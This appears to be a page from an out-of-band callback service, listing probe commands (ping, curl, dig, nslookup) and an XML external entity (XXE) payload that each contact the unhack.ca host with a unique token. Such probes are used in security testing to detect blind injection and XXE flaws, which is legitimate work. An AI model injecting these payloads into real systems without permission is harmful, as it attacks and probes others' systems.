$ ping -c1 -p 00e95e7b9de506382317f22342506800 unhack.ca
 

$ curl http://unhack.ca/p/e95e7b9de506382317f223425068
 

$ dig e95e7b9de506382317f223425068 @unhack.ca
 

$ dig e95e7b9de506382317f223425068.ns.unhack.ca
 

C:\> nslookup e95e7b9de506382317f223425068 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e95e7b9de506382317f223425068">]>
    <foo>&xxe;</foo>